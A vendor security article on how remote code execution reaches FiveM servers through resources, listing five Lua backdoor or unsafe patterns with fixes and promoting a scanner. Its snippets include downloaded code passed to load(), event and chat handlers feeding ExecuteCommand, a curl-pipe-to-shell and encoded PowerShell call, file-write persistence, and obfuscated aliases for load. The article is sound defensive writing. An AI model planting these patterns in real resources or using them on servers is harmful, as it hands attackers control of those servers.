FiveM RCE: how remote code execution gets into a server
Remote code execution in FiveM rarely needs an exploit - it ships inside resources. The five paths to load() and ExecuteCommand, with Lua examples and fixes.
Published 5 min readFXScan team, Titan Software
"FiveM RCE" usually brings to mind an exploit in the platform itself. Those exist, and they get patched. The remote code execution that actually hits servers is more mundane: a resource that turns data from outside the server into code or commands on the server. No vulnerability in FiveM is needed - the resource does it on purpose (a backdoor) or by accident (an unsafe handler).
This note lists the five paths that lead there, with Lua you can recognise, and what to do about each.
What counts as RCE in a FiveM resource
Remote code execution means someone who is not the server owner can make the server run code of their choosing. In a resource, that takes two things:
- a source the attacker controls: an HTTP response, a net event argument, a chat command, a value read from a file they can influence;
- a sink that executes:
load,loadstring,ExecuteCommand,os.execute,io.popen, JavaScriptevalornew Function, or a file written into a resource and later started.
Either half alone is ordinary. The vulnerability is the path between them.
Path 1: HTTP response → load()
PerformHttpRequest(url, function(_, body)
load(body)()
end)
The classic backdoor. Whoever controls url runs arbitrary Lua on your server.
It is almost always hidden behind decoding and an alias for load; the
anatomy of a FiveM backdoor shows the common
disguises, and PerformHttpRequest security
covers telling it apart from a legitimate update check.
Fix: there is no safe version. A resource that executes downloaded code should not be on your server.
Path 2: net event → load() or ExecuteCommand
RegisterNetEvent("admin:run")
AddEventHandler("admin:run", function(code)
load(code)()
end)
Any connected client can trigger a server event with any arguments - modded clients do it routinely. A handler that executes an argument is RCE for every player on the server. The same is true of:
AddEventHandler("srv:cmd", function(cmd)
ExecuteCommand(cmd) -- e.g. "add_principal identifier.fivem:1 group.admin"
end)
These are sometimes deliberate backdoors and sometimes "debug" tools someone forgot to remove. Either way, the fix is the same.
Fix: never execute event data. If an administrative action is genuinely needed, make it a fixed action selected by name, and check the caller's ACE permission on the server:
local ACTIONS = { restart_shop = function() --[[ ... ]] end }
RegisterNetEvent("admin:action")
AddEventHandler("admin:action", function(name)
local src = source
if not IsPlayerAceAllowed(src, "myresource.admin") then return end
local action = ACTIONS[name]
if action then action() end
end)
Path 3: chat or console command → ExecuteCommand
RegisterCommand("run", function(src, args)
ExecuteCommand(table.concat(args, " "))
end, false) -- restricted = false: anyone can use it
The third argument of RegisterCommand decides whether ACE restrictions apply.
With false, every player can run /run, and every word they type becomes a
server console command. FXScan flags privileged commands registered without an
ACL restriction and chat arguments that become console commands.
Fix: register privileged commands with restricted = true and grant the
command.run ace only to the groups that need it - and still do not pass raw
arguments to ExecuteCommand.
Path 4: OS command execution
os.execute("curl -s " .. url .. " | sh")
io.popen("powershell -enc " .. payload)
The server-side Lua runtime ships the os and io libraries, and a few
resources use them legitimately. Reaching the operating system means the attacker is no longer limited
to the FiveM process: they can install persistence, read other services' files,
or pivot elsewhere on the host. Any os.execute or io.popen in a resource you
did not write deserves a line-by-line read.
Path 5: write a file, run it later
PerformHttpRequest(url, function(_, body)
SaveResourceFile("chat", "server/sv_init.lua", body, -1)
end)
Nothing is executed now. The next time the chat resource restarts, the
downloaded file runs as part of it - inside a resource you trust, which is the
point. Variants append to another resource's fxmanifest.lua so a new script
gets loaded, or edit server.cfg to ensure a resource. FXScan reports writes
into other resources, to manifests, to the server configuration, and downloaded
content written to disk, under persistence.
Fix: a resource has no reason to write into another resource. Remove it, then check every resource folder for files you do not recognise and every manifest for scripts you did not add.
Why grep is not enough
Searching your resources for load( or ExecuteCommand finds both too much
and too little. Too much, because frameworks legitimately use them. Too little,
because a backdoor rarely spells them out: _G["lo".."ad"], local x = load,
string.char(108,111,97,100), or a timer handed a string all reach the same
sink. What separates a backdoor from a framework is whether untrusted data can
reach the sink - a data-flow question, not a text-search question.
That is the question FXScan's remote code execution and command execution rules answer: they follow values from HTTP responses, net events and command arguments through variables, tables, decoders and aliases, and report the path with file, line and excerpt at each step.
What to do if you find one
- Remove the resource and assume the server's secrets are known: rotate
sv_licenseKey, database passwords, webhook URLs and any API keys in convars. - Check other resources for written files and modified manifests (Path 5).
- Review your ACE groups for principals you did not add.
- Restore from a backup you know predates the resource, if you have one.
Titan Software's FiveM server security guide covers incident response and hardening in more depth.
The limits
Static analysis catches the paths that exist in the code you upload. It cannot see code that a server will download in the future, and a sufficiently indirect payload can exceed the analyser's budget. What a security scan cannot tell you is the full list - read it before treating a clean report as a guarantee.
To check a resource for these paths, upload it to the FiveM backdoor scanner.